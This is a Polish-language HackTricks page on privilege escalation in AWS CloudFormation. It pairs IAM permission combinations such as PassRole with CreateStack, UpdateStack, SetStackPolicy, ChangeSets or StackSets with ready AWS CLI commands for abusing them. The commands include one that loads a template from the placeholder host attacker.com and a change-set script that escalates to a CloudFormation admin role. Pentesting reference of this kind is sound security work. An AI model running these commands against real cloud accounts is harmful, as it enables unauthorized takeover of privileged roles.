AWS - Cloudformation Privesc

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

cloudformation

Aby uzyskać więcej informacji na temat cloudformation, sprawdź:

pageAWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Atakujący posiadający te uprawnienia może eskalować uprawnienia, tworząc stos CloudFormation z niestandardowym szablonem, hostowanym na swoim serwerze, aby wykonywać działania na podstawie uprawnień określonej roli:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Na następnej stronie masz przykład wykorzystania z dodatkowym uprawnieniem cloudformation:DescribeStacks:

pageiam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Potencjalne skutki: Podniesienie uprawnień do określonej roli usługi CloudFormation.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

W tym przypadku możesz wykorzystać istniejący stos CloudFormation do jego aktualizacji i eskalacji uprawnień, tak jak w poprzednim scenariuszu:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Uprawnienie cloudformation:SetStackPolicy może być wykorzystane do nadania sobie uprawnienia UpdateStack dla stosu i przeprowadzenia ataku.

Potencjalne skutki: Przywileje dostępu do roli usługi cloudformation.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Jeśli masz to uprawnienie, ale brak uprawnienia iam:PassRole, nadal możesz aktualizować używane stosy i nadużywać przypisane już role IAM. Sprawdź poprzednią sekcję dla przykładu wykorzystania (tylko nie wskazuj żadnej roli w aktualizacji).

Uprawnienie cloudformation:SetStackPolicy może być wykorzystane do nadania sobie uprawnienia UpdateStack dla stosu i przeprowadzenia ataku.

Potencjalne skutki: Przywileje dostępu do roli usługi cloudformation, która jest już przypisana.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Atakujący posiadający uprawnienia do przekazywania roli oraz tworzenia i wykonywania ChangeSet może tworzyć/aktualizować nowy stos cloudformation i nadużywać ról usługi cloudformation tak jak w przypadku CreateStack lub UpdateStack.

Poniższy exploit to wariacja exploitu CreateStack wykorzystującego uprawnienia ChangeSet do tworzenia stosu.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Uprawnienie cloudformation:SetStackPolicy może być wykorzystane do nadania sobie uprawnień ChangeSet dla stosu i przeprowadzenia ataku.

Potencjalne skutki: Przywileje dostępu do ról usługi CloudFormation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

To jest podobna metoda jak poprzednia, ale bez przekazywania ról IAM, więc można po prostu wykorzystać już dołączone role, wystarczy zmodyfikować parametr:

--change-set-type UPDATE

Potencjalne skutki: Podniesienie uprawnień do roli usługi CloudFormation, która jest już dołączona.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Atakujący mógłby wykorzystać te uprawnienia do tworzenia/aktualizacji zestawów stosów w celu nadużycia dowolnych ról CloudFormation.

Potencjalne skutki: Podniesienie uprawnień do ról usługi CloudFormation.

cloudformation:UpdateStackSet

Atakujący mógłby wykorzystać to uprawnienie bez uprawnienia passRole do aktualizacji zestawów stosów w celu nadużycia dołączonych ról CloudFormation.

Potencjalne skutki: Podniesienie uprawnień do dołączonych ról CloudFormation.

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated